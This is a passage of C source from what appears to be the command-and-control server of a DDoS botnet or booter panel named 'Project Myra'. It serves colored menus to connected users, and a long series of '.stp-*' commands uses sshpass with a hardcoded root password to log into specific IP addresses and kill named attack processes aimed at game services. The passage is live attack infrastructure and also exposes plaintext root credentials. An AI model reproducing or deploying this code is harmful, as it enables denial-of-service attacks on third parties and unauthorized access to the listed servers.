2543 if(send(clear_myra_broadcast, happen_10, strlen(happen_10), MSG_NOSIGNAL) == -1) return;
2544 }
2545 if (strstr(myra_buffer_size, ".creds") || strstr(myra_buffer_size, ".CREDS")) // System Command Function
2546 {
2547 //char creds_01 [120];
2548 //char creds_02 [120];
2549 //char creds_03 [120];
2550 //char creds_04 [120];
2551 //char creds_05 [120];
2552 //char creds_06 [120];
2553 //char creds_07 [120];
2554 //char creds_08 [120];
2555 //char creds_09 [120];
2556 //char creds_10 [120];
2557 //char creds_11 [120];
2558 //char creds_12 [120];
2559 //char creds_13 [120];
2560 //char creds_14 [120];
2561 //char creds_15 [120];
2562 //char creds_16 [120];
2563 //char creds_17 [120];
2564 //sprintf(creds_01, "\e[38;5;225m╔═════════════════════╗\r\n");
2565 //sprintf(creds_02, "\e[38;5;225m║ \e[38;5;168mProject Myra. \e[38;5;134mII\e[38;5;168m. \e[38;5;225m║\r\n");
2566 //sprintf(creds_03, "\e[38;5;225m║ \e[38;5;134mRemastered\e[38;5;168m. \e[38;5;225m║\r\n");
2567 //sprintf(creds_04, "\e[38;5;225m╚═════════════════════╝\r\n");
2568 //sprintf(creds_05, " \e[38;5;225m╔═════════════════╗\r\n");
2569 //sprintf(creds_06, " \e[38;5;225m║ \e[38;5;134mSpecial Thanks \e[38;5;225m║\r\n");
2570 //sprintf(creds_07, " \e[38;5;225m╚═════════════════╝\r\n");
2571 //sprintf(creds_08, " \e[38;5;225m╔══════════════╗\r\n");
2572 //sprintf(creds_09, " \e[38;5;225m║ \e[38;5;168mGppie \e[38;5;225m║\r\n");
2573 //sprintf(creds_10, " \e[38;5;225m║ \e[38;5;168mCpke \e[38;5;225m║\r\n");
2574 //sprintf(creds_11, " \e[38;5;225m║ \e[38;5;168mVerism \e[38;5;225m║ ╔═════════════════╗\r\n");
2575 //sprintf(creds_12, " \e[38;5;225m║ \e[38;5;168mAtrionized \e[38;5;225m║ ║ \e[38;5;134mDeveloper \e[38;5;225m║\r\n");
2576 //sprintf(creds_13, " \e[38;5;225m║ \e[38;5;168mSelfrepnetis \e[38;5;225m║ ╚═════════════════╝\r\n");
2577 //sprintf(creds_14, " \e[38;5;225m║ \e[38;5;168mPhenomite \e[38;5;225m║ ╔═════════════════╗\r\n");
2578 //sprintf(creds_15, " \e[38;5;225m║ \e[38;5;168mVurexium \e[38;5;225m║ ║ \e[38;5;168mTransmissional \e[38;5;225m║\r\n");
2579 //sprintf(creds_16, " \e[38;5;225m║ \e[38;5;168mSwitch \e[38;5;225m║ ╚═════════════════╝\r\n");
2580 //sprintf(creds_17, " \e[38;5;225m╚══════════════╝\r\n");
2581 //if (send(clear_myra_broadcast, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto finish_integer;
2582 //if(send(clear_myra_broadcast, creds_01, strlen(creds_01), MSG_NOSIGNAL) == -1) return;
2583 //if(send(clear_myra_broadcast, creds_02, strlen(creds_02), MSG_NOSIGNAL) == -1) return;
2584 //if(send(clear_myra_broadcast, creds_03, strlen(creds_03), MSG_NOSIGNAL) == -1) return;
2585 //if(send(clear_myra_broadcast, creds_04, strlen(creds_04), MSG_NOSIGNAL) == -1) return;
2586 //if(send(clear_myra_broadcast, creds_05, strlen(creds_05), MSG_NOSIGNAL) == -1) return;
2587 //if(send(clear_myra_broadcast, creds_06, strlen(creds_06), MSG_NOSIGNAL) == -1) return;
2588 //if(send(clear_myra_broadcast, creds_07, strlen(creds_07), MSG_NOSIGNAL) == -1) return;
2589 //if(send(clear_myra_broadcast, creds_08, strlen(creds_08), MSG_NOSIGNAL) == -1) return;
2590 //if(send(clear_myra_broadcast, creds_09, strlen(creds_09), MSG_NOSIGNAL) == -1) return;
2591 //if(send(clear_myra_broadcast, creds_10, strlen(creds_10), MSG_NOSIGNAL) == -1) return;
2592 //if(send(clear_myra_broadcast, creds_11, strlen(creds_11), MSG_NOSIGNAL) == -1) return;
2593 //if(send(clear_myra_broadcast, creds_12, strlen(creds_12), MSG_NOSIGNAL) == -1) return;
2594 //if(send(clear_myra_broadcast, creds_13, strlen(creds_13), MSG_NOSIGNAL) == -1) return;
2595 //if(send(clear_myra_broadcast, creds_14, strlen(creds_14), MSG_NOSIGNAL) == -1) return;
2596 //if(send(clear_myra_broadcast, creds_15, strlen(creds_15), MSG_NOSIGNAL) == -1) return;
2597 //if(send(clear_myra_broadcast, creds_16, strlen(creds_16), MSG_NOSIGNAL) == -1) return;
2598 //if(send(clear_myra_broadcast, creds_17, strlen(creds_17), MSG_NOSIGNAL) == -1) return;
2599 char menuoutput4[5000];
2600 sprintf(menuoutput4, "\e[38;5;225mWait until the \e[38;5;134mfull release \e[38;5;168m!\r\n");
2601 if(send(clear_myra_broadcast, menuoutput4, strlen(menuoutput4), MSG_NOSIGNAL) == -1) goto finish_integer;
2602 }
2603 if (strstr(myra_buffer_size, ".status") || strstr(myra_buffer_size, ".STATUS")) // System Command Function
2604 {
2605 char status01 [500];
2606 char status02 [500];
2607 char status03 [500];
2608 char status04 [500];
2609 char status05 [500];
2610 char status06 [500];
2611 char status07 [500];
2612 char status08 [500];
2613 char status09 [500];
2614 char status10 [500];
2615 char status11 [500];
2616 char status12 [500];
2617 char status13 [500];
2618 char status14 [500];
2619 char status15 [500];
2620 char status16 [500];
2621 char status17 [500];
2622 char status18 [500];
2623 char status19 [500];
2624 char status20 [500];
2625 char status21 [500];
2626 char status22 [500];
2627 char status23 [500];
2628 sprintf(status01, "\e[38;5;225m╔═════════════════════════╗\r\n");
2629 sprintf(status02, "\e[38;5;225m║ \e[38;5;134mMyra \e[38;5;168mNetwork Status \e[38;5;225m║\r\n");
2630 sprintf(status03, "\e[38;5;225m║ \e[38;5;225m[\e[38;5;134mV\e[38;5;225m] ║\r\n");
2631 sprintf(status04, "\e[38;5;225m╚═════════════════════════╩╦══════════════════════════════════════╗\r\n");
2632 sprintf(status05, " \e[38;5;225m╔═════════════════════╩═══╗\r\n");
2633 sprintf(status06, " \e[38;5;225m║ \e[38;5;168mSubstrate \e[38;5;225m[\e[38;5;134mIV\e[38;5;225m] ╠════\e[38;5;134m> \e[38;5;168mStatus \e[38;5;134m: \e[38;5;225mOnline \e[38;5;134m!\r\n");
2634 sprintf(status07, " \e[38;5;225m╚═════════════╦═══════════╝\r\n");
2635 sprintf(status08, " \e[38;5;225m╔═════════════╩═══════════╗\r\n");
2636 sprintf(status09, " \e[38;5;225m║ \e[38;5;168mHyperpower \e[38;5;225m[\e[38;5;134mIII\e[38;5;225m] ╠════\e[38;5;134m> \e[38;5;168mStatus \e[38;5;134m: \e[38;5;161mOffline \e[38;5;134m!\r\n");
2637 sprintf(status10, " \e[38;5;225m╚═════════════╦═══════════╝\r\n");
2638 sprintf(status11, " \e[38;5;225m╔═════════════╩═══════════╗\r\n");
2639 sprintf(status12, " \e[38;5;225m║ \e[38;5;168mMyra Backend System \e[38;5;225m╠════\e[38;5;134m> \e[38;5;168mStatus \e[38;5;134m: \e[38;5;225mOnline \e[38;5;134m!\r\n");
2640 sprintf(status13, " \e[38;5;225m╚═════════════╦═══════════╝\r\n");
2641 sprintf(status14, " \e[38;5;225m╔═════════════╩═══════════╗\r\n");
2642 sprintf(status15, " \e[38;5;225m║ \e[38;5;168mMach_Swap Encryption \e[38;5;225m╠════\e[38;5;134m> \e[38;5;168mStatus \e[38;5;134m: \e[38;5;225mOnline \e[38;5;134m!\r\n");
2643 sprintf(status16, " \e[38;5;225m╚═════════════╦═══════════╝\r\n");
2644 sprintf(status17, " \e[38;5;225m╔═════════════╩═══════════╗\r\n");
2645 sprintf(status18, " \e[38;5;225m║ \e[38;5;168mMyra Safe Mode \e[38;5;225m╠════\e[38;5;134m> \e[38;5;168mStatus \e[38;5;134m: \e[38;5;225mOnline \e[38;5;134m!\r\n");
2646 sprintf(status19, " \e[38;5;225m╚═════════════╦═══════════╝\r\n");
2647 sprintf(status20, " \e[38;5;225m╔═════════════╩═══════════╗\r\n");
2648 sprintf(status21, " \e[38;5;225m║ \e[38;5;168mMyra Emergency Power \e[38;5;225m╠════\e[38;5;134m> \e[38;5;168mStatus \e[38;5;134m: \e[38;5;161mOffline \e[38;5;134m!\r\n");
2649 sprintf(status22, " \e[38;5;225m╚═════════════════════╦═══╝\r\n");
2650 sprintf(status23, " \e[38;5;225m╚══════════════════════════════════════╝\r\n");
2651 if(send(clear_myra_broadcast, status01, strlen(status01), MSG_NOSIGNAL) == -1) goto finish_integer;
2652 if(send(clear_myra_broadcast, status02, strlen(status02), MSG_NOSIGNAL) == -1) goto finish_integer;
2653 if(send(clear_myra_broadcast, status03, strlen(status03), MSG_NOSIGNAL) == -1) goto finish_integer;
2654 if(send(clear_myra_broadcast, status04, strlen(status04), MSG_NOSIGNAL) == -1) goto finish_integer;
2655 if(send(clear_myra_broadcast, status05, strlen(status05), MSG_NOSIGNAL) == -1) goto finish_integer;
2656 if(send(clear_myra_broadcast, status06, strlen(status06), MSG_NOSIGNAL) == -1) goto finish_integer;
2657 if(send(clear_myra_broadcast, status07, strlen(status07), MSG_NOSIGNAL) == -1) goto finish_integer;
2658 if(send(clear_myra_broadcast, status08, strlen(status08), MSG_NOSIGNAL) == -1) goto finish_integer;
2659 if(send(clear_myra_broadcast, status09, strlen(status09), MSG_NOSIGNAL) == -1) goto finish_integer;
2660 if(send(clear_myra_broadcast, status10, strlen(status10), MSG_NOSIGNAL) == -1) goto finish_integer;
2661 if(send(clear_myra_broadcast, status11, strlen(status11), MSG_NOSIGNAL) == -1) goto finish_integer;
2662 if(send(clear_myra_broadcast, status12, strlen(status12), MSG_NOSIGNAL) == -1) goto finish_integer;
2663 if(send(clear_myra_broadcast, status13, strlen(status13), MSG_NOSIGNAL) == -1) goto finish_integer;
2664 if(send(clear_myra_broadcast, status14, strlen(status14), MSG_NOSIGNAL) == -1) goto finish_integer;
2665 if(send(clear_myra_broadcast, status15, strlen(status15), MSG_NOSIGNAL) == -1) goto finish_integer;
2666 if(send(clear_myra_broadcast, status16, strlen(status16), MSG_NOSIGNAL) == -1) goto finish_integer;
2667 if(send(clear_myra_broadcast, status17, strlen(status17), MSG_NOSIGNAL) == -1) goto finish_integer;
2668 if(send(clear_myra_broadcast, status18, strlen(status18), MSG_NOSIGNAL) == -1) goto finish_integer;
2669 if(send(clear_myra_broadcast, status19, strlen(status19), MSG_NOSIGNAL) == -1) goto finish_integer;
2670 if(send(clear_myra_broadcast, status20, strlen(status20), MSG_NOSIGNAL) == -1) goto finish_integer;
2671 if(send(clear_myra_broadcast, status21, strlen(status21), MSG_NOSIGNAL) == -1) goto finish_integer;
2672 if(send(clear_myra_broadcast, status22, strlen(status22), MSG_NOSIGNAL) == -1) goto finish_integer;
2673 if(send(clear_myra_broadcast, status23, strlen(status23), MSG_NOSIGNAL) == -1) goto finish_integer;
2674 }
2675 if (strstr(myra_buffer_size, ".hyper") || strstr(myra_buffer_size, ".hyper")) // System Command Function
2676 {
2677 //char hyper_01 [120];
2678 //char hyper_02 [120];
2679 //char hyper_03 [120];
2680 //char hyper_04 [120];
2681 //char hyper_05 [120];
2682 //sprintf(hyper_01, "\e[38;5;225m[\e[38;5;134mHyperpower \e[38;5;134mII\e[38;5;225m] - \e[38;5;168mAttempting to \e[38;5;134mreinitialise attack\e[38;5;168m..\r\n");
2683 //sprintf(hyper_02, "\e[38;5;225m[\e[38;5;134mHyperpower \e[38;5;134mII\e[38;5;225m] - \e[38;5;168mForcing \e[38;5;134mSubstrate VII \e[38;5;168mto exceed \e[38;5;134mthread limitation\e[38;5;168m..\r\n");
2684 //sprintf(hyper_03, "\e[38;5;225m[\e[38;5;134mHyperpower \e[38;5;134mII\e[38;5;225m] - \e[38;5;168mReinitiating \e[38;5;134mattack output\e[38;5;168m..\r\n");
2685 //sprintf(hyper_04, "\e[38;5;225m[\e[38;5;134mHyperpower \e[38;5;134mII\e[38;5;225m] - \e[38;5;168mContacting \e[38;5;134mSubstrate\e[38;5;168m..\r\n");
2686 //sprintf(hyper_05, "\e[38;5;225m[\e[38;5;134mHyperpower \e[38;5;134mII\e[38;5;225m] - \e[38;5;134mSuccess ! \e[38;5;168mI think..\r\n");
2687 //if(send(clear_myra_broadcast, hyper_01, strlen(hyper_01), MSG_NOSIGNAL) == -1) return;
2688 //sleep(2);
2689 //if(send(clear_myra_broadcast, hyper_02, strlen(hyper_02), MSG_NOSIGNAL) == -1) return;
2690 //sleep(2);
2691 //if(send(clear_myra_broadcast, hyper_03, strlen(hyper_03), MSG_NOSIGNAL) == -1) return;
2692 //sleep(1);
2693 //if(send(clear_myra_broadcast, hyper_04, strlen(hyper_04), MSG_NOSIGNAL) == -1) return;
2694 //sleep(1);
2695 //if(send(clear_myra_broadcast, hyper_05, strlen(hyper_05), MSG_NOSIGNAL) == -1) return;
2696 char menuoutput5[5000];
2697 sprintf(menuoutput5, "\e[38;5;225mWait until the \e[38;5;134mfull release \e[38;5;168m!\r\n");
2698 if(send(clear_myra_broadcast, menuoutput5, strlen(menuoutput5), MSG_NOSIGNAL) == -1) goto finish_integer;
2699 }
2700 if (strstr(myra_buffer_size, ".stp-eris") || strstr(myra_buffer_size, ".STP-ERIS")) // System Comhome Function
2701 {
2702 char command5[500];
2703 trim_removev2(command5);
2704 char command6[500];
2705 trim_removev2(command6);
2706 char command7[500];
2707 trim_removev2(command7);
2708 strcpy(command5, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@193.201.82.173 pkill eris; pkill eris");
2709 strcpy(command6, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 pkill eris; pkill eris");
2710 //strcpy(command7, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 pkill eris; pkill eris");
2711 system(command5);
2712 system(command6);
2713 //system(command7);
2714 // little msg to output
2715 sprintf(myra, "\e[38;5;134mOkay \e[38;5;168m%s\e[38;5;134m, We have aborted your \e[38;5;168mEris \e[38;5;134meskimo babies \e[38;5;168m!\r\n", accounts[find_line].username, myra_buffer_size);
2716 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2717 }
2718 if (strstr(myra_buffer_size, ".stp-ark-drop") || strstr(myra_buffer_size, ".STP-ARK-DROP")) // System Comhome Function
2719 {
2720 char command5[500];
2721 trim_removev2(command5);
2722 char command6[500];
2723 trim_removev2(command6);
2724 char command7[500];
2725 trim_removev2(command7); /*90UJA90JKiopjfs9ipaofjewp9jfweru3298RJEWRhjtiure ssh root@45.143.220.92*/
2726 strcpy(command5, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 pkill ark2; pkill ark2");
2727 //strcpy(command6, "screen -d -m sshpass -p 90UJA90JKiopjfs9ipaofjewp9jfweru3298RJEWRhjtiure ssh root@45.143.220.92 pkill ark-crash; pkill ark-crash");
2728 strcpy(command6, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 pkill ark2; pkill ark2");
2729 //strcpy(command7, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 pkill ark2; pkill ark2");
2730 system(command5);
2731 system(command6);
2732 //system(command7);
2733 // little msg to output
2734 sprintf(myra, "\e[38;5;134mOkay \e[38;5;168m%s\e[38;5;134m, \e[38;5;168mI killed your \e[38;5;225mprivate \e[38;5;134mMyra \e[38;5;168mattack \e[38;5;25m!\r\n", accounts[find_line].username, myra_buffer_size);
2735 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2736 }
2737 if (strstr(myra_buffer_size, ".stp-home") || strstr(myra_buffer_size, ".STP-HOME")) // System Comhome Function
2738 {
2739 char command5[500];
2740 trim_removev2(command5);
2741 char command6[500];
2742 trim_removev2(command6);
2743 char command7[500];
2744 trim_removev2(command7);
2745 strcpy(command5, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 pkill udphex; pkill udphex");
2746 strcpy(command6, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 pkill udphex; pkill udphex");
2747 //strcpy(command7, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 pkill udphex; pkill udphex");
2748 system(command5);
2749 system(command6);
2750 //system(command7);
2751 // little msg to output
2752 sprintf(myra, "\e[38;5;134mOkay \e[38;5;168m%s\e[38;5;134m, \e[38;5;168mI killed your \e[38;5;225mprivate \e[38;5;134mMyra \e[38;5;168mattack \e[38;5;25m!\r\n", accounts[find_line].username, myra_buffer_size);
2753 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2754 }
2755 if (strstr(myra_buffer_size, ".stp-redbars") || strstr(myra_buffer_size, ".STP-REDBARS")) // System Comhome Function
2756 {
2757 char command5[500];
2758 trim_removev2(command5);
2759 char command6[500];
2760 trim_removev2(command6);
2761 char command7[500];
2762 trim_removev2(command7);
2763 strcpy(command5, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 pkill udphex; pkill udphex");
2764 strcpy(command6, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 pkill udphex; pkill udphex");
2765 //strcpy(command7, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 pkill udphex; pkill udphex");
2766 system(command5);
2767 system(command6);
2768 //system(command7);
2769 // little msg to output
2770 sprintf(myra, "\e[38;5;134mOkay \e[38;5;168m%s\e[38;5;134m, \e[38;5;168mI killed your \e[38;5;225mprivate \e[38;5;134mMyra \e[38;5;168mattack \e[38;5;25m!\r\n", accounts[find_line].username, myra_buffer_size);
2771 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2772 }
2773 if (strstr(myra_buffer_size, ".stp-r6-drop") || strstr(myra_buffer_size, ".STP-R6-DROP")) // System Comhome Function
2774 {
2775 char command5[500];
2776 trim_removev2(command5);
2777 char command6[500];
2778 trim_removev2(command6);
2779 char command7[500];
2780 trim_removev2(command7);
2781 strcpy(command5, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 pkill r6-drop; pkill r6-drop");
2782 strcpy(command6, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 pkill r6-drop; pkill r6-drop");
2783 //strcpy(command7, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 pkill r6-drop; pkill r6-drop");
2784 system(command5);
2785 system(command6);
2786 //system(command7);
2787 // little msg to output
2788 sprintf(myra, "\e[38;5;134mOkay \e[38;5;168m%s\e[38;5;134m, We have aborted your \e[38;5;168mRainbow \e[38;5;134meskimo babies \e[38;5;168m!\r\n", accounts[find_line].username, myra_buffer_size);
2789 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2790 }
2791 if (strstr(myra_buffer_size, ".stp-fn-drop") || strstr(myra_buffer_size, ".STP-FN-DROP")) // System Comhome Function
2792 {
2793 char command5[500];
2794 trim_removev2(command5);
2795 char command6[500];
2796 trim_removev2(command6);
2797 char command7[500];
2798 trim_removev2(command7);
2799 strcpy(command5, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 pkill fn-drop; pkill fn-drop");
2800 strcpy(command6, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 pkill fn-drop; pkill fn-drop");
2801 //strcpy(command7, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 pkill fn-drop; pkill fn-drop");
2802 system(command5);
2803 system(command6);
2804 //system(command7);
2805 // little msg to output
2806 sprintf(myra, "\e[38;5;134mOkay \e[38;5;168m%s\e[38;5;134m, We have aborted your \e[38;5;168mFortnite \e[38;5;134meskimo babies \e[38;5;168m!\r\n", accounts[find_line].username, myra_buffer_size);
2807 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2808 }
2809 if (strstr(myra_buffer_size, ".stp-kratos") || strstr(myra_buffer_size, ".STP-KRATOS")) // System Comhome Function
2810 {
2811 char command5[500];
2812 trim_removev2(command5);
2813 char command6[500];
2814 trim_removev2(command6);
2815 char command7[500];
2816 trim_removev2(command7);
2817 strcpy(command5, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 pkill kratos; pkill kratos");
2818 strcpy(command6, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 pkill kratos; pkill kratos");
2819 //strcpy(command7, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 pkill kratos; pkill kratos");
2820 system(command5);
2821 system(command6);
2822 //system(command7);
2823 // little msg to output
2824 sprintf(myra, "\e[38;5;134mOkay \e[38;5;168m%s\e[38;5;134m, We have aborted your \e[38;5;168mKratos \e[38;5;134meskimo babies \e[38;5;168m!\r\n", accounts[find_line].username, myra_buffer_size);
2825 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2826 }
2827 if (strstr(myra_buffer_size, ".stp-ethera") || strstr(myra_buffer_size, ".STP-ETHERA")) // System Comhome Function
2828 {
2829 char command5[500];
2830 trim_removev2(command5);
2831 char command6[500];
2832 trim_removev2(command6);
2833 char command7[500];
2834 trim_removev2(command7);
2835 strcpy(command5, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 pkill ethera; pkill ethera");
2836 strcpy(command6, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 pkill ethera; pkill ethera");
2837 //strcpy(command7, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 pkill ethera; pkill ethera");
2838 system(command5);
2839 system(command6);
2840 //system(command7);
2841 // little msg to output
2842 sprintf(myra, "\e[38;5;134mOkay \e[38;5;168m%s\e[38;5;134m, We have aborted your \e[38;5;168mEthera \e[38;5;134meskimo babies \e[38;5;168m!\r\n", accounts[find_line].username, myra_buffer_size);
2843 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2844 }
2845 if (strstr(myra_buffer_size, ".stp-osiris") || strstr(myra_buffer_size, ".STP-OSIRIS")) // System Comhome Function
2846 {
2847 char command5[500];
2848 trim_removev2(command5);
2849 char command6[500];
2850 trim_removev2(command6);
2851 char command7[500];
2852 trim_removev2(command7);
2853 strcpy(command5, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 pkill osiris; pkill osiris");
2854 strcpy(command6, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 pkill osiris; pkill osiris");
2855 //strcpy(command7, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 pkill osiris; pkill osiris");
2856 system(command5);
2857 system(command6);
2858 //system(command7);
2859 // little msg to output
2860 sprintf(myra, "\e[38;5;134mOkay \e[38;5;168m%s\e[38;5;134m, We have aborted your \e[38;5;168mOsiris \e[38;5;134meskimo babies \e[38;5;168m!\r\n", accounts[find_line].username, myra_buffer_size);
2861 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2862 }
2863 if (strstr(myra_buffer_size, ".stp-odin") || strstr(myra_buffer_size, ".STP-ODIN")) // System Comhome Function
2864 {
2865 char command5[500];
2866 trim_removev2(command5);
2867 char command6[500];
2868 trim_removev2(command6);
2869 char command7[500];
2870 trim_removev2(command7);
2871 strcpy(command5, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 pkill odin; pkill odin");
2872 strcpy(command6, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 pkill odin; pkill odin");
2873 //strcpy(command7, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 pkill odin; pkill odin");
2874 system(command5);
2875 system(command6);
2876 //system(command7);
2877 // little msg to output
2878 sprintf(myra, "\e[38;5;134mOkay \e[38;5;168m%s\e[38;5;134m, We have aborted your \e[38;5;168mOdin \e[38;5;134meskimo babies \e[38;5;168m!\r\n", accounts[find_line].username, myra_buffer_size);
2879 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2880 }
2881 if (strstr(myra_buffer_size, ".stp-phoenix") || strstr(myra_buffer_size, ".STP-PHOENIX")) // System Comhome Function
2882 {
2883 char command5[500];
2884 trim_removev2(command5);
2885 char command6[500];
2886 trim_removev2(command6);
2887 char command7[500];
2888 trim_removev2(command7);
2889 strcpy(command5, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 pkill phoenix; pkill phoenix");
2890 strcpy(command6, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 pkill phoenix; pkill phoenix");
2891 //strcpy(command7, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 pkill phoenix; pkill phoenix");
2892 system(command5);
2893 system(command6);
2894 //system(command7);
2895 // little msg to output
2896 sprintf(myra, "\e[38;5;134mOkay \e[38;5;168m%s\e[38;5;134m, We have aborted your \e[38;5;168mPhoenix \e[38;5;134meskimo babies \e[38;5;168m!\r\n", accounts[find_line].username, myra_buffer_size);
2897 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2898 }
2899 if (strstr(myra_buffer_size, ".stp-oryx") || strstr(myra_buffer_size, ".STP-ORYX")) // System Comhome Function
2900 {
2901 char command5[500];
2902 trim_removev2(command5);
2903 char command6[500];
2904 trim_removev2(command6);
2905 char command7[500];
2906 trim_removev2(command7);
2907 strcpy(command5, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 pkill oryx; pkill oryx");
2908 strcpy(command6, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 pkill oryx; pkill oryx");
2909 //strcpy(command7, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 pkill oryx; pkill oryx");
2910 system(command5);
2911 system(command6);
2912 //system(command7);
2913 // little msg to output
2914 sprintf(myra, "\e[38;5;134mOkay \e[38;5;168m%s\e[38;5;134m, We have aborted your \e[38;5;168mOryx \e[38;5;134meskimo babies \e[38;5;168m!\r\n", accounts[find_line].username, myra_buffer_size);
2915 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2916 }
2917 if (strstr(myra_buffer_size, ".stp-gunther") || strstr(myra_buffer_size, ".STP-GUNTHER")) // System Comhome Function
2918 {
2919 char command5[500];
2920 trim_removev2(command5);
2921 char command6[500];
2922 trim_removev2(command6);
2923 char command7[500];
2924 trim_removev2(command7);
2925 strcpy(command5, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 pkill gunther; pkill gunther");
2926 strcpy(command6, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 pkill gunther; pkill gunther");
2927 //strcpy(command7, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 pkill gunther; pkill gunther");
2928 system(command5);
2929 system(command6);
2930 //system(command7);
2931 // little msg to output
2932 sprintf(myra, "\e[38;5;134mOkay \e[38;5;168m%s\e[38;5;134m, We have aborted your \e[38;5;168mGunther \e[38;5;134meskimo babies \e[38;5;168m!\r\n", accounts[find_line].username, myra_buffer_size);
2933 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2934 }
2935 if (strstr(myra_buffer_size, ".stp-massacre") || strstr(myra_buffer_size, ".STP-MASSACRE")) // System Comhome Function
2936 {
2937 char command5[500];
2938 trim_removev2(command5);
2939 char command6[500];
2940 trim_removev2(command6);
2941 char command7[500];
2942 trim_removev2(command7);
2943 strcpy(command5, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 pkill massacre; pkill massacre");
2944 strcpy(command6, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 pkill massacre; pkill massacre");
2945 //strcpy(command7, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 pkill massacre; pkill massacre");
2946 system(command5);
2947 system(command6);
2948 //system(command7);
2949 // little msg to output
2950 sprintf(myra, "\e[38;5;134mOkay \e[38;5;168m%s\e[38;5;134m, You have stopped \e[38;5;168mMassacring \e[38;5;134mlittle babies \e[38;5;168m!\r\n", accounts[find_line].username, myra_buffer_size);
2951 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
2952 }
2953 if (strstr(myra_buffer_size, ".stp-anubis") || strstr(myra_buffer_size, ".STP-ANUBIS")) // System Comhome Function
2954 {
2955 char command5[500];
2956 trim_removev2(command5);
2957 char command6[500];
2958 trim_removev2(command6);
2959 char command7[500];
2960 trim_removev2(command7);
